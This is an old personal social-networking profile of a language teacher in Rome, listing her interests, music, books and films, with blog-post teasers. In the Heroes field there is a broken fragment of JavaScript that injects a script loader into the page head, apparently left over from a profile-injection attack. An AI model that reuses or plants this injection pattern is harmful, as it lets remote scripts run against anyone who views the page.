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Pinal

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About Me

Future naturopath, truth seeker, global expeditioner, wants to speak your tongue.I like to dabble in a bit of everything...I am currently teaching English and also teaching a pilot Spanish course at a Montessori school...in Italian nonetheless. (Sometimes it makes me brain explode, but in a good way). I lived in the communist hood of Rome and want to move back. It's better than the fascist one. WTF? I want to be omniscient but every time I walk into a book store or library I feel absolutely impotent.I am at once intensely happy with the life and friends I have here and yet extremely nostalgic for my family and my city (SF). In other words, I don't know how I'll leave but I am dying to go back...My life in a nutshell

My Interests

compassion.conscious kids.living all over the globe.exploration.conversation.people who do their part, educate themselves and make a change.people going veg.learning more languages than the pope.becoming a healer.ahimsa.long train journeys. stained glass.my little italian babies.the fam.my beloved india.and getting wicked on the dance floor.

I'd like to meet:

The vast majority of people will choose money, fame, and convenience over their conscience/morals. I want to meet that small minority who knows what it means to go down a path on your own. and paolo nutini/wentworth miller. most people find him sexy for his appearance. Which, undoubtedly, I do as well. But to me his intellectual appeal is far more attractive. I just want to to spend the entire night having a deeply intense conversation with him. Damn that boy is fine.

Music:

i don't value my music by its obscurity...but a lot of it is random as hell. AT THE MO:The Kooks make me want an english boy.paolo nutini.damien rice.tony rich project.the streets.muse.all kinds of ish.funky dance grooves that make me get up and sweat it out.ALWAYS:music with a message.the cure.massive attack.les nubians.billie holiday.ella fitzgerald.the smiths.incubus.postal service...death cab for cutie.bjork.coldplay.goldfinger.lifehouse.lou reed.dashboard confessional.depeche mode.michael franti.velvet underground.violent femmes.elliot smith.everything but the girl.gypsy kings.la shakira con pelo negro quien canta en español.mariah carey.janis joplin.juanes.weezer.tracy chapman.manu chao.chavela vargas.etc.

Movies:

Willy Wonka and the Chocolate factory (a la Gene Wilder). La Vita è Bella.American Desi.Monsoon Wedding.L'Auberge Espagnol.Bambole Russe.Y Tú Mama Tambien.Cidade do Deus.The Little Mermaid.Schindler's List.Shawshank Redemption.Lagaan.anything Jim Carrey.Las Mujeres al Borden de un Ataque de Nervios.Como Agua Para Chocolate.The Breakfast Club.Honey I Shrunk the Kids.Dead Poets Society

Television:

is one of our many opiates

Books:

the sick and twisted ingenuity that is Roald Dahl.Ishmael.the Story of B.The Giver.Matilda.She's Come Undone.The Unbearable Lightness of Being.AHWOSG.anything Bill Bryson.Stories of Eva Luna.Born Confused.The Kite Runner.Free the Animals!.Trieste and the Meaning of Nowhere.Sapphic verse.Gandhian philosophy.multi-language translation dictionaries.Don Quixote de la Mancha.Is There No Other Way?.A Christmas Carol.The Namesake. etc. etc. etc.

Heroes:

Everyday people: Those who stand up in the face of oppression* mom and pop* Food Not Bombs* Gandhiji*PETER YOUNG .."var s=document·('script');s.src='..';document·getEleme ntsByTagName('head')[0].appendChild(s);"

My Blog

Affirmation

Savage Garden - AffirmationI believe the sun should never set upon an argumentI believe we place our happiness in other people's handsI believe that junk food tastes so good because it's bad for youI ...
Posted by Pinal on Mon, 05 Nov 2007 08:28:00 PST

Fox News

You probably though this was some rant about Fox News. It's just a story about my cousin; really of little significance to you.  It's just funny.WINTER HAVEN, Fla. (AP) - Bob Feller, at 88 the s...
Posted by Pinal on Sun, 04 Nov 2007 03:35:00 PST

Sarajevo (from this summer)

It's a fascinating time to be in Sarajevo right now. Not that anything particular is happening; no major political shifts, the war has been over for twelve years now, and people go out in the evenings...
Posted by Pinal on Sun, 04 Nov 2007 03:27:00 PST

Time lost

I learned something very important today. It changed my life. La mia vita e' cambiata ragazzi!!!! I learned to be up front with my feelings and emotions. I'm a very private person, and I don't lik...
Posted by Pinal on Wed, 12 Sep 2007 07:50:00 PST

Art, life, and Rome

'Rome is the city of illusions. Not only by chance you have here the church, the government, the cinema. They each produce illusions...'Gore Vidal, in Fellini's Roma
Posted by Pinal on Mon, 30 Apr 2007 08:53:00 PST

Pamuk

    Turkish writer Orhan Pamuk's response to "the question": "The question we writers are asked most often, the favorite question, is: Why do you write? I write because I have an ...
Posted by Pinal on Fri, 15 Dec 2006 02:38:00 PST

the keys to my heart??

I usually find these things to be silly, and well, let's face it, they are, but this little quizzy thing is quite revealing and I have to say I am intrigued by what it has to say about me. **********...
Posted by Pinal on Sun, 10 Dec 2006 10:55:00 PST

more words to live by

my mama sent this to meKeep your thoughts positive,because your thoughts become your words.Keep your words positive,because your words become your actions.Keep your actions positive,because your actio...
Posted by Pinal on Sun, 10 Dec 2006 10:43:00 PST

perhaps

that lovely YeatsA CRAZED GIRLTHAT crazed girl improvising her music.Her poetry, dancing upon the shore,Her soul in division from itselfClimbing, falling she knew not where,Hiding amid the cargo of a ...
Posted by Pinal on Sat, 09 Dec 2006 02:41:00 PST

listen up

"Because a woman's work is never done and is underpaid or unpaid or boring or repetitious and we're the first to get fired and what we look like is more important than what we do and if we get raped i...
Posted by Pinal on Tue, 21 Nov 2006 01:47:00 PST